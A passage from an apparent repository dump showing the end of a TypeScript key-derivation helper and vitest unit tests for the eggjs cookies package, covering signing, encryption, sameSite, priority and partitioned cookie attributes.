}\n}\n\nfunction crypt(cipher: Cipheriv, data: string | Buffer): Buffer {\n  const text = Buffer.isBuffer(data) ? cipher.update(data) : cipher.update(data, 'utf-8');\n  const pad = cipher.final();\n  return Buffer.concat([text, pad]);\n}\n\nfunction keyToPassword(key: string): { key: Buffer; iv: Buffer } {\n  if (passwordCache.has(key)) {\n    return passwordCache.get(key);\n  }\n\n  // Simulate EVP_BytesToKey.\n  // see https://github.com/nodejs/help/issues/1673#issuecomment-503222925\n  const bytes = Buffer.alloc(KEY_LEN + IV_SIZE);\n  let lastHash = null,\n    nBytes = 0;\n  while (nBytes < bytes.length) {\n    const hash = crypto.createHash('md5');\n    if (lastHash) hash.update(lastHash);\n    hash.update(key);\n    lastHash = hash.digest();\n    lastHash.copy(bytes, nBytes);\n    nBytes += lastHash.length;\n  }\n\n  // Use these for decryption.\n  const password = {\n    key: bytes.subarray(0, KEY_LEN),\n    iv: bytes.subarray(KEY_LEN, bytes.length),\n  };\n\n  passwordCache.set(key, password);\n  return password;\n}\n"
  },
  {
    "path": "packages/cookies/test/cookie.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it } from 'vitest';\n\nimport { Cookie } from '../src/index.ts';\n\ndescribe('test/cookie.test.ts', () => {\n  it('create cookies contains invalid string error should throw', () => {\n    assert.throws(() => new Cookie('中文', 'value'), /argument name is invalid/);\n    assert.throws(() => new Cookie('name', '中文'), /argument value is invalid/);\n    assert.throws(() => new Cookie('name', 'value', { path: '中文' }), /argument option path is invalid/);\n    assert.throws(() => new Cookie('name', 'value', { domain: '中文' }), /argument option domain is invalid/);\n  });\n\n  it('set expires to 0 if value not present', () => {\n    assert.equal(new Cookie('name', null).attrs.expires!.getTime(), 0);\n  });\n\n  describe('toString()', () => {\n    it('return name=value', () => {\n      assert.equal(new Cookie('name', 'value').toString(), 'name=value');\n    });\n  });\n\n  describe('toHeader()', () => {\n    it('return name=value;params', () => {\n      assert.match(\n        new Cookie('name', 'value', {\n          secure: true,\n          maxAge: 1000,\n          domain: 'eggjs.org',\n          path: '/',\n          httpOnly: true,\n        }).toHeader(),\n        /^name=value; path=\\/; max-age=1; expires=(.*?)GMT; domain=eggjs\\.org; secure; httponly$/,\n      );\n    });\n\n    it('no emit error once setting secure=true in none ssl environment', () => {\n      new Cookie('name', 'value', {\n        secure: true,\n        ignoreSecureError: true,\n      });\n    });\n\n    it('no emit error once setting secure=true in none ssl environment', () => {\n      const exceptionMessage = 'Cannot send secure cookie over unencrypted connection';\n      try {\n        new Cookie('name', 'value', {\n          secure: true,\n        });\n      } catch (error) {\n        assert.strictEqual((error as Error).message, exceptionMessage);\n      }\n\n      try {\n        new Cookie('name', 'value', {\n          secure: true,\n          ignoreSecureError: false,\n        });\n      } catch (error) {\n        assert.strictEqual((error as Error).message, exceptionMessage);\n      }\n    });\n\n    it('set domain when domain is a function', () => {\n      assert(\n        new Cookie('name', 'value', {\n          secure: true,\n          maxAge: 1000,\n          domain: () => 'eggjs.org',\n          path: '/',\n          httpOnly: true,\n        })\n          .toHeader()\n          .match(/^name=value; path=\\/; max-age=1; expires=(.*?)GMT; domain=eggjs\\.org; secure; httponly$/),\n      );\n    });\n\n    it('do not set path when set path to null', () => {\n      const header = new Cookie('name', 'value', {\n        path: null,\n      }).toHeader();\n      assert.doesNotMatch(header, /path=/);\n    });\n\n    it('do not set httponly when set httpOnly to false', () => {\n      const header = new Cookie('name', 'value', {\n        httpOnly: false,\n      }).toHeader();\n      assert.doesNotMatch(header, /httponly/);\n    });\n  });\n\n  describe('maxAge', () => {\n    it('maxAge overwrite expires', () => {\n      const expires = new Date('2020-01-01');\n      let header = new Cookie('name', 'value', {\n        secure: true,\n        expires,\n        domain: 'eggjs.org',\n        path: '/',\n        httpOnly: true,\n      }).toHeader();\n      assert.match(header, /expires=Wed, 01 Jan 2020 00:00:00 GMT/);\n      header = new Cookie('name', 'value', {\n        secure: true,\n        maxAge: 1000,\n        expires,\n        domain: 'eggjs.org',\n        path: '/',\n        httpOnly: true,\n      }).toHeader();\n      assert(!header.match(/expires=Wed, 01 Jan 2020 00:00:00 GMT/));\n    });\n\n    it('ignore maxage NaN', () => {\n      const header = new Cookie('name', 'value', {\n        secure: true,\n        maxAge: 'session' as any,\n        domain: 'eggjs.org',\n        path: '/',\n        httpOnly: true,\n      }).toHeader();\n      assert(!header.includes('max-age'));\n      assert(!header.includes('expires'));\n    });\n\n    it('ignore maxage 0', () => {\n      // In previous implementations, maxAge = 0 was considered unnecessary to set this header\n      const header = new Cookie('name', 'value', {\n        secure: true,\n        maxAge: 0,\n        domain: 'eggjs.org',\n        path: '/',\n        httpOnly: true,\n      }).toHeader();\n      assert(!header.includes('max-age'));\n      assert(!header.includes('expires'));\n    });\n  });\n\n  describe('sameSite', () => {\n    it('should default to false', () => {\n      const cookie = new Cookie('foo', 'bar');\n      assert.equal(cookie.attrs.sameSite, false);\n    });\n\n    it('should throw on invalid value', () => {\n      assert.throws(() => {\n        new Cookie('foo', 'bar', { sameSite: 'foo' });\n      }, /argument option sameSite is invalid/);\n    });\n\n    describe('when set to falsy values', () => {\n      it('should not add \"samesite\" attribute in header', () => {\n        const falsyValues = [false, 0, '', null, undefined, NaN];\n        falsyValues.forEach((falsy) => {\n          const cookie = new Cookie('foo', 'bar', { sameSite: falsy as any });\n          assert.ok(Object.is(cookie.attrs.sameSite, falsy));\n          assert.equal(cookie.toHeader(), 'foo=bar; path=/; httponly');\n        });\n      });\n    });\n\n    describe('when set to \"true\"', () => {\n      it('should set \"samesite=strict\" attribute in header', () => {\n        const cookie = new Cookie('foo', 'bar', { sameSite: true });\n        assert.equal(cookie.attrs.sameSite, true);\n        assert.equal(cookie.toHeader(), 'foo=bar; path=/; samesite=strict; httponly');\n      });\n    });\n\n    describe('when set to \"none\"', () => {\n      it('should set \"samesite=none\" attribute in header', () => {\n        {\n          const cookie = new Cookie('foo', 'bar', { sameSite: 'none' });\n          assert.equal(cookie.toHeader(), 'foo=bar; path=/; samesite=none; httponly');\n        }\n        {\n          const cookie = new Cookie('foo', 'bar', { sameSite: 'None' });\n          assert.equal(cookie.toHeader(), 'foo=bar; path=/; samesite=none; httponly');\n        }\n      });\n    });\n\n    describe('when set to \"lax\"', () => {\n      it('should set \"samesite=lax\" attribute in header', () => {\n        {\n          const cookie = new Cookie('foo', 'bar', { sameSite: 'lax' });\n          assert.equal(cookie.toHeader(), 'foo=bar; path=/; samesite=lax; httponly');\n        }\n        {\n          const cookie = new Cookie('foo', 'bar', { sameSite: 'Lax' });\n          assert.equal(cookie.toHeader(), 'foo=bar; path=/; samesite=lax; httponly');\n        }\n      });\n    });\n\n    describe('when set to \"strict\"', () => {\n      it('should set \"samesite=strict\" attribute in header', () => {\n        {\n          const cookie = new Cookie('foo', 'bar', { sameSite: 'strict' });\n          assert.equal(cookie.toHeader(), 'foo=bar; path=/; samesite=strict; httponly');\n        }\n        {\n          const cookie = new Cookie('foo', 'bar', { sameSite: 'Strict' });\n          assert.equal(cookie.toHeader(), 'foo=bar; path=/; samesite=strict; httponly');\n        }\n      });\n    });\n  });\n\n  describe('priority', () => {\n    it('should set the .priority property', () => {\n      const cookie = new Cookie('foo', 'bar', { priority: 'low' });\n      assert.strictEqual(cookie.attrs.priority, 'low');\n    });\n\n    it('should default to undefined', () => {\n      const cookie = new Cookie('foo', 'bar');\n      assert.strictEqual(cookie.attrs.priority, undefined);\n    });\n\n    it('should throw on invalid value', () => {\n      assert.throws(() => {\n        new Cookie('foo', 'bar', { priority: 'foo' as any });\n      }, /argument option priority is invalid/);\n    });\n\n    describe('when set to \"low\"', () => {\n      it('should set \"priority=low\" attribute in header', () => {\n        const cookie = new Cookie('foo', 'bar', { priority: 'low' });\n        assert.strictEqual(cookie.toHeader(), 'foo=bar; path=/; priority=low; httponly');\n      });\n    });\n\n    describe('when set to \"medium\"', () => {\n      it('should set \"priority=medium\" attribute in header', () => {\n        const cookie = new Cookie('foo', 'bar', { priority: 'medium' });\n        assert.strictEqual(cookie.toHeader(), 'foo=bar; path=/; priority=medium; httponly');\n      });\n    });\n\n    describe('when set to \"high\"', () => {\n      it('should set \"priority=high\" attribute in header', () => {\n        const cookie = new Cookie('foo', 'bar', { priority: 'high' });\n        assert.strictEqual(cookie.toHeader(), 'foo=bar; path=/; priority=high; httponly');\n      });\n    });\n\n    describe('when set to \"HIGH\"', () => {\n      it('should set \"priority=high\" attribute in header', () => {\n        const cookie = new Cookie('foo', 'bar', { priority: 'HIGH' });\n        assert.strictEqual(cookie.toHeader(), 'foo=bar; path=/; priority=high; httponly');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/cookies/test/cookies.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, expect, it, vi } from 'vitest';\n\nimport { CookieError, type CookieSetOptions } from '../src/index.ts';\nimport Cookies from './cookies.ts';\n\ndescribe('test/cookies.test.ts', () => {\n  it('should encrypt error when keys not present', () => {\n    const cookies = Cookies({}, { keys: null });\n    try {\n      cookies.set('foo', 'bar', { encrypt: true });\n      throw new Error('should not exec');\n    } catch (err: any) {\n      assert.equal(err.message, '.keys required for encrypt/sign cookies');\n    }\n  });\n\n  it('should not thrown when keys not present and do not use encrypt or sign', () => {\n    const cookies = Cookies({}, { keys: null });\n    cookies.set('foo', 'bar', { encrypt: false, signed: false });\n  });\n\n  it('should encrypt ok', () => {\n    const cookies = Cookies();\n    cookies.set('foo', 'bar', { encrypt: true });\n    const cookie = cookies.ctx.response.headers['set-cookie'][0];\n    cookies.ctx.request.headers.cookie = cookie;\n    const value = cookies.get('foo', { encrypt: true });\n    assert(value, 'bar');\n    assert(cookie.indexOf('bar') === -1);\n  });\n\n  it('should cache keygrip', () => {\n    const keys = ['key'];\n    assert.equal(Cookies({}, { keys }).keys, Cookies({}, { keys }).keys);\n    assert.equal(Cookies({}, { keys }).keys, Cookies({}, { keys }).keys);\n    assert.equal(Cookies({}, { keys }).keys, Cookies({}, { keys }).keys);\n    assert.notEqual(Cookies({}, { keys }).keys, Cookies({}, { keys: ['foo'] }).keys);\n  });\n\n  it('should encrypt failed return undefined', () => {\n    const cookies = Cookies();\n    cookies.set('foo', 'bar', { encrypt: true });\n    const cookie = cookies.ctx.response.headers['set-cookie'][0];\n    const newCookies = Cookies(\n      {\n        headers: { cookie },\n      },\n      { keys: ['another key'] },\n    );\n    const value = newCookies.get('foo', { encrypt: true });\n    assert(value === undefined);\n  });\n\n  it('should disable signed when encrypt enable', () => {\n    const cookies = Cookies();\n    cookies.set('foo', 'bar', { encrypt: true, signed: true });\n    const cookie = cookies.ctx.response.headers['set-cookie'].join(';');\n    cookies.ctx.request.headers.cookie = cookie;\n    const value = cookies.get('foo', { encrypt: true });\n    assert(value, 'bar');\n    assert(cookie.indexOf('bar') === -1);\n    assert(cookie.indexOf('sig') === -1);\n  });\n\n  it('should work with secure ok', () => {\n    const cookies = Cookies(\n      {},\n      {\n        secure: true,\n      },\n    );\n    cookies.set('foo', 'bar', { encrypt: true });\n    const cookie = cookies.ctx.response.headers['set-cookie'][0];\n    assert(cookie.indexOf('secure') > 0);\n  });\n\n  it('should work with domain ok, when domain is a function', () => {\n    const cookies = Cookies(\n      {},\n      {\n        secure: true,\n      },\n    );\n    cookies.set('foo', 'bar', { encrypt: true, domain: () => 'foo.com' });\n    const cookie = cookies.ctx.response.headers['set-cookie'][0];\n    assert(cookie.indexOf('domain=foo.com') > 0);\n  });\n\n  it('should work with domain is empty string', () => {\n    const cookies = Cookies(\n      {},\n      {\n        secure: true,\n      },\n    );\n    cookies.set('foo', 'bar', { encrypt: true, domain: '' });\n    const cookie = cookies.ctx.response.headers['set-cookie'][0];\n    assert.equal(cookie, 'foo=SBfi5dnMSwNmMdeydI_zdw==; path=/; secure; httponly');\n  });\n\n  it('should work with domain is string', () => {\n    const cookies = Cookies(\n      {},\n      {\n        secure: true,\n      },\n    );\n    cookies.set('foo', 'bar', { encrypt: true, domain: 'foo.com' });\n    const cookie = cookies.ctx.response.headers['set-cookie'][0];\n    assert(cookie.indexOf('domain=foo.com') > 0);\n  });\n\n  it('should signed work fine', () => {\n    const cookies = Cookies();\n    cookies.set('foo', 'bar', { signed: true });\n    const cookie = cookies.ctx.response.headers['set-cookie'].join(';');\n    assert(cookie.indexOf('foo=bar') >= 0);\n    assert(cookie.indexOf('foo.sig=') >= 0);\n    cookies.ctx.request.headers.cookie = cookie;\n    let value = cookies.get('foo', { signed: true });\n    assert(value === 'bar');\n    cookies.ctx.request.headers.cookie = cookie.replace('foo=bar', 'foo=bar1');\n    value = cookies.get('foo', { signed: true });\n    assert(!value);\n    value = cookies.get('foo', { signed: false });\n    assert(value === 'bar1');\n  });\n\n  it('should return undefined when header.cookie not exists', () => {\n    const cookies = Cookies();\n    assert(cookies.get('hello') === undefined);\n  });\n\n  it('should return undefined when cookie not exists', () => {\n    const cookies = Cookies({\n      headers: { cookie: 'foo=bar' },\n    });\n    assert(cookies.get('hello') === undefined);\n  });\n\n  it('should return undefined when signed and name.sig not exists', () => {\n    const cookies = Cookies({\n      headers: { cookie: 'foo=bar;' },\n    });\n    assert(cookies.get('foo', { signed: true }) === undefined);\n    assert(cookies.get('foo', { signed: false }) === 'bar');\n    assert(cookies.get('foo') === undefined);\n  });\n\n  it('should set .sig to null if not match', () => {\n    const cookies = Cookies({\n      headers: { cookie: 'foo=bar;foo.sig=bar.sig;' },\n    });\n    assert(cookies.get('foo', { signed: true }) === undefined);\n    assert(\n      cookies.ctx.response.headers['set-cookie'][0] ===\n        'foo.sig=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; httponly',\n    );\n  });\n\n  it('should update .sig if not match the first key', () => {\n    const cookies = Cookies(\n      {\n        headers: { cookie: 'foo=bar;foo.sig=bar.sig;' },\n      },\n      { keys: ['hello', 'world'] },\n    );\n    cookies.set('foo', 'bar');\n    const cookie = cookies.ctx.response.headers['set-cookie'].join(';');\n\n    const newCookies = Cookies(\n      {\n        headers: { cookie },\n      },\n      { keys: ['hi', 'hello'] },\n    );\n\n    assert(newCookies.get('foo', { signed: true }) === 'bar');\n    // call twice but should only update once\n    newCookies.get('foo', { signed: true });\n    assert(newCookies.ctx.response.headers['set-cookie'].length === 1);\n    const newSign = newCookies.keys.sign('foo=bar');\n    assert(newCookies.ctx.response.headers['set-cookie'][0].startsWith(`foo.sig=${newSign}`));\n  });\n\n  it('should not overwrite default', () => {\n    const cookies = Cookies();\n    cookies.set('foo', 'bar');\n    cookies.set('foo', 'hello');\n    assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=bar/));\n  });\n\n  it('should overwrite when opts.overwrite = true', () => {\n    const cookies = Cookies();\n    cookies.set('foo', 'bar');\n    cookies.set('foo', 'hello', { overwrite: true });\n    assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n  });\n\n  it('should remove signed cookie ok', () => {\n    const cookies = Cookies();\n    cookies.set('foo', null, { signed: true });\n    assert(\n      cookies.ctx.response.headers['set-cookie']\n        .join(';')\n        .match(/foo=; path=\\/; expires=Thu, 01 Jan 1970 00:00:00 GMT; httponly/),\n    );\n    assert(\n      cookies.ctx.response.headers['set-cookie']\n        .join(';')\n        .match(/foo\\.sig=; path=\\/; expires=Thu, 01 Jan 1970 00:00:00 GMT; httponly/),\n    );\n  });\n\n  it('should remove encrypt cookie ok', () => {\n    const cookies = Cookies();\n    cookies.set('foo', null, { encrypt: true });\n    assert(\n      cookies.ctx.response.headers['set-cookie']\n        .join(';')\n        .match(/foo=; path=\\/; expires=Thu, 01 Jan 1970 00:00:00 GMT; httponly/),\n    );\n  });\n\n  it('should remove cookie ok event it set maxAge', () => {\n    const cookies = Cookies();\n    cookies.set('foo', null, { signed: true, maxAge: 1200 });\n    assert(\n      cookies.ctx.response.headers['set-cookie']\n        .join(';')\n        .match(/foo=; path=\\/; expires=Thu, 01 Jan 1970 00:00:00 GMT; httponly/),\n    );\n    assert(\n      cookies.ctx.response.headers['set-cookie']\n        .join(';')\n        .match(/foo\\.sig=; path=\\/; expires=Thu, 01 Jan 1970 00:00:00 GMT; httponly/),\n    );\n  });\n\n  it('should add secure when ctx.secure = true', () => {\n    const cookies = Cookies({}, { secure: true });\n    cookies.set('foo', 'bar');\n    assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/secure;/));\n  });\n\n  it('should not add secure when ctx.secure = true but opt.secure = false', () => {\n    const cookies = Cookies({}, { secure: true });\n    cookies.set('foo', 'bar', { secure: false });\n    assert(!cookies.ctx.response.headers['set-cookie'].join(';').match(/secure;/));\n  });\n\n  it('should throw when ctx.secure = false but opt.secure = true', () => {\n    const cookies = Cookies({}, { secure: false });\n    try {\n      cookies.set('foo', 'bar', { secure: true });\n      throw new Error('should not exec');\n    } catch (err) {\n      assert(err instanceof CookieError);\n      assert(err.message === 'Cannot send secure cookie over unencrypted connection');\n    }\n  });\n\n  it('should set cookie success when set-cookie already exist', () => {\n    const cookies = Cookies();\n    cookies.ctx.response.headers['set-cookie'] = 'foo=bar';\n    cookies.set('foo1', 'bar1');\n    assert(cookies.ctx.response.headers['set-cookie'][0] === 'foo=bar');\n    assert(cookies.ctx.response.headers['set-cookie'][1] === 'foo1=bar1; path=/; httponly');\n    assert(\n      cookies.ctx.response.headers['set-cookie'][2] ===\n        'foo1.sig=_OGF14M_XqPTd58nMRUco2iwwhlZvq7h8ifl3Kej_jg; path=/; httponly',\n    );\n  });\n\n  it('should emit cookieLimitExceed event in app when value length exceed the limit', () => {\n    const cookies = Cookies();\n    const value = Buffer.alloc(4094).fill(49).toString();\n    const emit = vi.spyOn(cookies.app, 'emit');\n    cookies.set('foo', value);\n\n    expect(emit.mock.calls.length).toBe(1);\n    expect(emit.mock.calls[0][0]).toBe('cookieLimitExceed');\n    expect(emit.mock.calls[0][1]).toEqual({\n      name: 'foo',\n      value,\n      ctx: cookies.ctx,\n    });\n    expect(cookies.ctx.response.headers['set-cookie'][0]).toMatch(/^foo=1{4094}; path=\\/; httponly$/);\n  });\n\n  it('should opts do not modify', () => {\n    const cookies = Cookies({ secure: true });\n    const opts: CookieSetOptions = {\n      signed: 1,\n    };\n    cookies.set('foo', 'hello', opts);\n\n    assert(opts.signed === 1);\n    assert(opts.secure === undefined);\n    assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n  });\n\n  it('should defaultCookieOptions with sameSite=lax', () => {\n    const cookies = Cookies({ secure: true }, null, { sameSite: 'lax' });\n    const opts: CookieSetOptions = {\n      signed: 1,\n    };\n    cookies.set('foo', 'hello', opts);\n\n    assert(opts.signed === 1);\n    assert(opts.secure === undefined);\n    assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n    for (const str of cookies.ctx.response.headers['set-cookie']) {\n      assert(str.includes('; path=/; samesite=lax; httponly'));\n    }\n  });\n\n  it('should not send SameSite=None property on incompatible clients', () => {\n    const userAgents = [\n      'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML%2C like Gecko) Chrome/64.0.3282.140 Safari/537.36',\n      'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3165.0 Safari/537.36',\n      'Mozilla/5.0 (Linux; U; Android 8.1.0; zh-CN; OE106 Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML%2C like Gecko) Version/4.0 Chrome/57.0.2987.108 UCBrowser/11.9.4.974 UWS/2.13.2.90 Mobile Safari/537.36 AliApp(DingTalk/4.7.18) com.alibaba.android.rimet/12362010 Channel/1565683214685 language/zh-CN UT4Aplus/0.2.25',\n      'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML%2C like Gecko) Chrome/63.0.3239.132 Safari/537.36 dingtalk-win/1.0.0 nw(0.14.7) DingTalk(4.7.19-Release.16) Mojo/1.0.0 Native AppType(release)',\n      'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML%2C like Gecko) Chrome/62.0.3202.94 Safari/537.36',\n      'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML%2C like Gecko) Chrome/52.0.2723.2 Safari/537.36',\n    ];\n    for (const ua of userAgents) {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent': ua,\n          },\n        },\n        { secure: true },\n        { sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n      for (const str of cookies.ctx.response.headers['set-cookie']) {\n        assert(str.includes('; path=/; secure; httponly'));\n      }\n    }\n  });\n\n  it('should not send SameSite=None property on Chrome < 80', () => {\n    const cookies = Cookies(\n      {\n        secure: true,\n        headers: {\n          'user-agent':\n            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.29 Safari/537.36',\n        },\n      },\n      { secure: true },\n      { sameSite: 'None' },\n    );\n    const opts: CookieSetOptions = {\n      signed: 1,\n    };\n    cookies.set('foo', 'hello', opts);\n\n    assert(opts.signed === 1);\n    assert(opts.secure === undefined);\n    assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n    for (const str of cookies.ctx.response.headers['set-cookie']) {\n      assert(str.includes('; path=/; secure; httponly'));\n    }\n  });\n\n  it('should send SameSite=None property on Chrome >= 80', () => {\n    let cookies = Cookies(\n      {\n        secure: true,\n        headers: {\n          'user-agent':\n            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3945.29 Safari/537.36',\n        },\n      },\n      { secure: true },\n      { sameSite: 'None' },\n    );\n    const opts: CookieSetOptions = {\n      signed: 1,\n    };\n    cookies.set('foo', 'hello', opts);\n\n    assert(opts.signed === 1);\n    assert(opts.secure === undefined);\n    assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n    for (const str of cookies.ctx.response.headers['set-cookie']) {\n      assert(str.includes('; path=/; samesite=none; secure; httponly'));\n    }\n\n    cookies = Cookies(\n      {\n        secure: true,\n        headers: {\n          'user-agent':\n            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.3945.29 Safari/537.36',\n        },\n      },\n      { secure: true },\n      { sameSite: 'None' },\n    );\n    cookies.set('foo', 'hello', opts);\n\n    assert(opts.signed === 1);\n    assert(opts.secure === undefined);\n    assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n    for (const str of cookies.ctx.response.headers['set-cookie']) {\n      assert(str.includes('; path=/; samesite=none; secure; httponly'));\n    }\n  });\n\n  it('should send SameSite=none property on compatible clients', () => {\n    const cookies = Cookies(\n      {\n        secure: true,\n        headers: {\n          'user-agent':\n            'Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/66.6 Mobile/14A5297c Safari/602.1',\n        },\n      },\n      { secure: true },\n      { sameSite: 'none' },\n    );\n\n    const opts: CookieSetOptions = {\n      signed: 1,\n    };\n    cookies.set('foo', 'hello', opts);\n\n    assert(opts.signed === 1);\n    assert(opts.secure === undefined);\n    assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n    for (const str of cookies.ctx.response.headers['set-cookie']) {\n      assert(str.includes('; path=/; samesite=none; secure; httponly'));\n    }\n  });\n\n  it('should not send SameSite=none property on non-secure context', () => {\n    const cookies = Cookies(\n      {\n        secure: false,\n        headers: {\n          'user-agent':\n            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.3945.29 Safari/537.36',\n        },\n      },\n      null,\n      { sameSite: 'none' },\n    );\n    const opts: CookieSetOptions = {\n      signed: 1,\n    };\n    cookies.set('foo', 'hello', opts);\n\n    assert(opts.signed === 1);\n    assert(opts.secure === undefined);\n    assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n    for (const str of cookies.ctx.response.headers['set-cookie']) {\n      assert(str.includes('; path=/; httponly'));\n    }\n  });\n\n  it('should not send SameSite=none property on options.secure = false', () => {\n    const cookies = Cookies(\n      {\n        secure: true,\n        headers: {\n          'user-agent':\n            'Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/66.6 Mobile/14A5297c Safari/602.1',\n        },\n      },\n      { secure: true },\n      { sameSite: 'none' },\n    );\n\n    const opts: CookieSetOptions = {\n      signed: 1,\n      secure: false,\n    };\n    cookies.set('foo', 'hello', opts);\n\n    assert(opts.signed === 1);\n    assert(opts.secure === false);\n    assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n    for (const str of cookies.ctx.response.headers['set-cookie']) {\n      assert(str.includes('; path=/; httponly'));\n    }\n  });\n\n  describe('opts.partitioned', () => {\n    it('should not send partitioned property on incompatible clients', () => {\n      const userAgents = [\n        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML%2C like Gecko) Chrome/62.0.3202.94 Safari/537.36',\n        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML%2C like Gecko) Chrome/52.0.2723.2 Safari/537.36',\n        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/100.36 (KHTML, like Gecko) Safari/100.36',\n      ];\n      for (const ua of userAgents) {\n        const cookies = Cookies(\n          {\n            secure: true,\n            headers: {\n              'user-agent': ua,\n            },\n          },\n          { secure: true },\n          { partitioned: true, sameSite: 'None' },\n        );\n        const opts: CookieSetOptions = {\n          signed: 1,\n        };\n        cookies.set('foo', 'hello', opts);\n\n        assert(opts.signed === 1);\n        assert(opts.secure === undefined);\n        assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n        for (const str of cookies.ctx.response.headers['set-cookie']) {\n          assert(!str.includes('partitioned'));\n        }\n      }\n    });\n\n    it('should not send partitioned property on Chrome < 118', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { partitioned: true, sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n      for (const str of cookies.ctx.response.headers['set-cookie']) {\n        assert(str.includes('; path=/; samesite=none; secure; httponly'));\n      }\n    });\n\n    it('should send partitioned property on Chrome >= 118', () => {\n      let cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { partitioned: true, sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n      for (const str of cookies.ctx.response.headers['set-cookie']) {\n        assert(str.includes('; path=/; samesite=none; secure; httponly; partitioned'));\n      }\n\n      cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { partitioned: true, sameSite: 'None' },\n      );\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n      for (const str of cookies.ctx.response.headers['set-cookie']) {\n        assert(str.includes('; path=/; samesite=none; secure; httponly; partitioned'));\n      }\n\n      // empty user-agent\n      cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent': '',\n          },\n        },\n        { secure: true },\n        { partitioned: true, sameSite: 'None' },\n      );\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n      for (const str of cookies.ctx.response.headers['set-cookie']) {\n        assert(str.includes('; path=/; samesite=none; secure; httponly; partitioned'));\n      }\n\n      cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent': '',\n          },\n        },\n        { secure: true },\n      );\n      cookies.set('foo', 'hello', {\n        sameSite: 'None',\n        partitioned: true,\n      });\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n      for (const str of cookies.ctx.response.headers['set-cookie']) {\n        assert(str.includes('; path=/; samesite=none; secure; httponly; partitioned'));\n      }\n    });\n\n    it('should not send SameSite=none property on non-secure context', () => {\n      const cookies = Cookies(\n        {\n          secure: false,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 